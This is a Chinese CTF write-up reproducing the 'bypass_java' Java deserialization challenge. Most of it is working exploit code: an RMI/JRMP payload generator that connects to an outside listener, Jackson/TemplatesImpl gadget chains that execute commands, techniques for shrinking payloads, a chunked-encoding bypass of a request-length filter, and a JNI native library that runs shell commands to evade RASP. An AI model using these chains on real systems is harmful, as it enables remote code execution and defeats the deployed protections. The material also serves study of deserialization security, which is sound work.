cbctf bypass_java复现
手头屯了不少之前的比赛题目,慢慢全部解决掉,一堆题目
也不知道是什么比赛的题目了,就凑活着学
题目名字全部用jar包作为名字了,实在是懒的去找题目来源
bypass_java
主要就是两个文件
/read路由直接将我们的相关内容直接base64解码一下然后直接执行了反序列化操作
存在一个简单的过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
package com.example.bypassjava;
import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.web.servlet.ServletComponentScan;
@SpringBootApplication @ServletComponentScan public class BypassJavaApplication { public BypassJavaApplication() { }
public static void initSelf() throws IOException { URL url = new URL("http://127.0.0.1:8080"); HttpURLConnection connection = (HttpURLConnection)url.openConnection(); connection.setRequestMethod("GET"); connection.connect(); connection.connect(); connection.connect(); }
public static void main(String[] args) throws IOException { SpringApplication.run(BypassJavaApplication.class, args); initSelf(); } }
|
长度长于1145 就过滤了 限制了payload的长度
直接打rmiconnect应该就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package org.example.rmi_jrmp;
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Base64; import java.util.Random;
public class server_attack_user { public static void main(String[] args) throws IOException, ClassNotFoundException { String command = "1877330596:111"; String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else {
host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(0); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
不过可以研究一下java反序列化payload的缩短方法
java反序列化payload缩短
这篇文章给我提供了很多的思路终极Java反序列化payload缩小技术-阿里云开发者社区 (aliyun.com)
我们利用ysoserial尝试生成一下链的payload
1
| java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jackson1 'calc' > 1.txt
|
我们把payload生成到本地,然后尝试反序列化一下看看
1 2 3 4 5 6 7 8
| public class test { public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException { ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("D:\\Desktop\\yso\\2.ser")); inputStream.readObject();
} }
|
成功弹出计算器 此时的长度是多少
1 2
| byte[] data = (Files.readAllBytes(Paths.get("D:\\Desktop\\yso\\2.ser"))); System.out.println(new String(data).length());
|
显然如果拿这个payload去打这里 是肯定过不去的
我们试试看缩短
看看ysoserial是怎么生成payload的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @Dependencies({"com.fasterxml.jackson.core:jackson-databind:2.14.2"}) @Authors({"Y4er"}) public class Jackson1 implements ObjectPayload<Object> { public Jackson1() { }
public static void main(String[] args) throws Exception { PayloadRunner.run(Jackson1.class, args); }
public Object getObject(String command) throws Exception { Object template = Gadgets.createTemplatesImpl(command); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode(template); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null); Reflections.setFieldValue(badAttributeValueExpException, "val", node); HashMap hashMap = new HashMap(); hashMap.put(template, badAttributeValueExpException); return hashMap; } }
|
这里的 Gadgets.createTemplatesImpl(command);主要是加载相关的恶意字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static Object createTemplatesImpl(String command) throws Exception { command = command.trim(); Class tplClass; Class abstTranslet; Class transFactory; if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); } else { tplClass = TemplatesImpl.class; abstTranslet = AbstractTranslet.class; transFactory = TransformerFactoryImpl.class; }
if (command.startsWith("CLASS:")) { Class<?> clazz = Class.forName("ysoserial.payloads.templates." + command.substring(6), false, Thread.currentThread().getContextClassLoader()); return createTemplatesImpl(clazz, (String)null, (byte[])null, tplClass, abstTranslet, transFactory); } else if (command.startsWith("FILE:")) { byte[] bs = Files.readBytes(new File(command.substring(5))); return createTemplatesImpl((Class)null, (String)null, bs, tplClass, abstTranslet, transFactory); } else { return createTemplatesImpl((Class)null, command, (byte[])null, tplClass, abstTranslet, transFactory); } }
|
我们自己生成一下试试 利用的链子是TemplateImpl链子
1 2 3 4 5 6
| BadAttributeValueExpException#readObject()-> BaseJsonNode#toString()-> InternalNodeMapper#nodeToString()-> BeanSerializer#serialize()-> BeanPropertyWriter#serializeAsField()-> TemplatesImpl#getOutputProperties()
|
payload1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package org.example.jackson;
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;
public class TemplatesImplChain { public static void main(String[] args) throws Exception { CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class")); byte[][] codes = {code}; TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes",codes); setFieldValue(templatesImpl, "_name", "test"); setFieldValue(templatesImpl, "_tfactory", null); POJONode node = new POJONode(templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", node); HashMap hashMap = new HashMap(); hashMap.put(templatesImpl, badAttributeValueExpException); serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
我们看看生成的长度
可以看到成功缩短了很多
由于我们是通过本地的.class生成的payload 我们可以通过一些操作进一步减少payload的长度
包括不处理try catch的报错 设置_name的值为一个字符 直接不设置_tfactory方法等 这里不细说
去除LineNumberTable
使用javap 查看相关的字节码
其中code为代码对应的字节码
其中的LineNumberTable在去除之后 不影响相关的解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| byte[] bytes = Files.readAllBytes(Paths.get(path)); ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); int api = Opcodes.ASM9; ClassVisitor cv = new ShortClassVisitor(api, cw); int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; cr.accept(cv, parsingOptions); byte[] out = cw.toByteArray(); Files.write(Paths.get(path), out); ShortClassVisitor public class ShortClassVisitor extends ClassVisitor { private final int api; public ShortClassVisitor(int api, ClassVisitor classVisitor) { super(api, classVisitor); this.api = api; } @Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); return new ShortMethodAdapter(this.api, mv); }}
|
通过在编译的时候加上-g:none 可以不生成这个LineNumberTable和LocalVariableTable
我们在javap查看一下
可以看到没有这两个属性了
我们的payload也可以正常执行
这个时候的长度是
又成功短了不少
Javassist
我们可以利用这个库去动态输出我们的恶意类
之前在cc3里面就构造过
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CC3"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); System.out.println(bytes); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes});
|
我们修改我们的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package org.example.jackson;
import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;
public class TemplatesImplChain { public static void main(String[] args) throws Exception { CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("a"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test"); setFieldValue(templatesImpl, "_tfactory", null); POJONode node = new POJONode(templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException, "val", node); HashMap hashMap = new HashMap(); hashMap.put(templatesImpl, badAttributeValueExpException); serialize(hashMap); unserialize("ser.bin");
} public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
成功rce
长度也显著缩短了 只剩下1722
删除重写方法
我们需要继承这个类AbstractTranslet 才能正常执行
也就是要求我们需要重写他的相关方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class hello extends AbstractTranslet { public hello() { try { Runtime.getRuntime().exec("calc"); } catch (Exception var2) { var2.printStackTrace(); }
}
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException { }
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException { } }
|
如果不重写 编译就会不通过
但是不通过不代表不能运行
我们可以利用Javassist构造 代码同上 就不细说了
确实缩短了很多,但是rmiconnect一把梭不久直接秒了吗?
查找资料的时候发现了原题
DASCTF X CBCTF 2023 bypassjava
不出网 没法攻击了
这下只能另寻他法
chunked 编码绕过getContentLength
我们看一下这个waf
1 2 3 4 5 6 7 8 9 10 11 12
| public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException { try { if (servletRequest.getContentLength() >= 1145) { servletResponse.getWriter().println("It's tool long!!!!"); } else { filterChain.doFilter(servletRequest, servletResponse); } } catch (Exception var5) { servletResponse.getWriter().println(var5.getMessage()); }
}
|
使用了servletRequest.getContentLength() 去获取了请求体的长度
我们调试一下看看是怎么生成的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.example.bypassjava.filter;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter("/*") public class MyFilter implements Filter { @Override public void init(FilterConfig filterConfig) { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
System.out.println(servletRequest.getContentLength());
} @Override public void destroy() { } }
|
修改我们的过滤器,在输出的地方打上断点,请求
首先判断了这个请求是否为空 如果为空就抛出错误
这里会判断这个contentLength的长度之不是-1L
这个值显然需要满足一些条件才能被赋值
往上找找 注意到org.apache.coyote.http11.Http11Processor里面存在prepareInputFilters方法
在这里先将contentLength的值设置为-1L
然后调用getContentLengthLong去计算正确的值
下面看到有一个方法会把原来的值设置成-1L
这里需要设置this.contentDelimitation为true才能从成功
注意到
只要设置了Transfer-Encoding的值为chunked 就会设置this.contentDelimitation=true
从而完成对长度的绕过
RASP_ BYPASS
RASP
RASP全称是Runtime applicaion self-protection,在2014念提出的一种应用程序自我保护技术,将防护功能注入到应用程序之中,通过少量的Hook函数监测程序的运行,根据当前的上下文环境实时阻断攻击事件
在jdk1.5之后,java提供一个名为Instrumentation的API接口,Instrumentation 的最大作用,就是类定义动态改变和操作。开发者可以在一个普通Java程序(带有 main 函数的 Java 类)运行时,通过 – javaagent参数指定一个特定的 jar 文件(包含 Instrumentation 代理)来启动 Instrumentation 的代理程序。
不过也存在很多绕过手段
JNI绕过RASP
jni内部封装了一些c语言方法 java底层会调用相关的方法
1 2 3 4 5
| 1. 定义一个native修饰的方法 2. 使用javah进行编译 3. 编写对应的c语言代码 4. 使用gcc编译成dll文件 5. 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用
|
创建一个类
然后使用javac编译
1
| javac -cp . ./Command.java -h com.example.jdk17bypass.demos.Command
|
编译成一个c语言文件
这个是基于之前传入的java生成的头文件
构造一个c语言的命令执行文件
来源JDK17绕过反射限制与RASP初探 - 首页|Aiwin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| 著作权归作者所有。 商业转载请联系作者获得授权,非商业转载请注明出处。 作者:Aiwin 文章:JDK17绕过反射限制与RASP初探 链接:https:
#include "com_example_jdk17bypass_demos_Command.h" #include "jni.h" #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h>
int execmd(const char *cmd, char *result) { char buffer[1024*12]; FILE *pipe = popen(cmd, "r"); if (!pipe) return 0;
while (!feof(pipe)) { if (fgets(buffer, sizeof(buffer), pipe)) { strcat(result, buffer); } } pclose(pipe); return 1; } JNIEXPORT jstring JNICALL Java_com_example_jdk17bypass_demos_Command_exec(JNIEnv *env, jobject class_object, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; execmd(cstr, result)); char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); return cmdresult; }
|
编译成相关文件
win下
1
| gcc -I "D:\java\include" -I "D:\java\include\win32" -D__int64="long long" --shared "D:\Desktop\com.example.jdk17bypass.demos.Command\shell.c" -o ./jni.dll
|
linux下
1 2 3 4
| javac xxx.java javah -jni xxx g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o xxx.so xxx.cpp
|
成功获取了dll文件
然后我们如果调用这个dll去做一些恶意的操作
1 2 3 4 5 6
| public static void main(String[] args) { System.loadLibrary("jni"); Command command = new Command(); String ipconfig = command.exec("calc"); System.out.println(ipconfig); }
|
在rasp里面主要都是hook掉一些Runtime,ProcessBuilder啥的
我们可以将这个jni一同上传到web端,进行一个加载执行命令
贴一个示例代码[Java 基础 - 本地命令执行 - 《Java Web安全] 攻击Java Web应用》 - 书栈网 · BookStack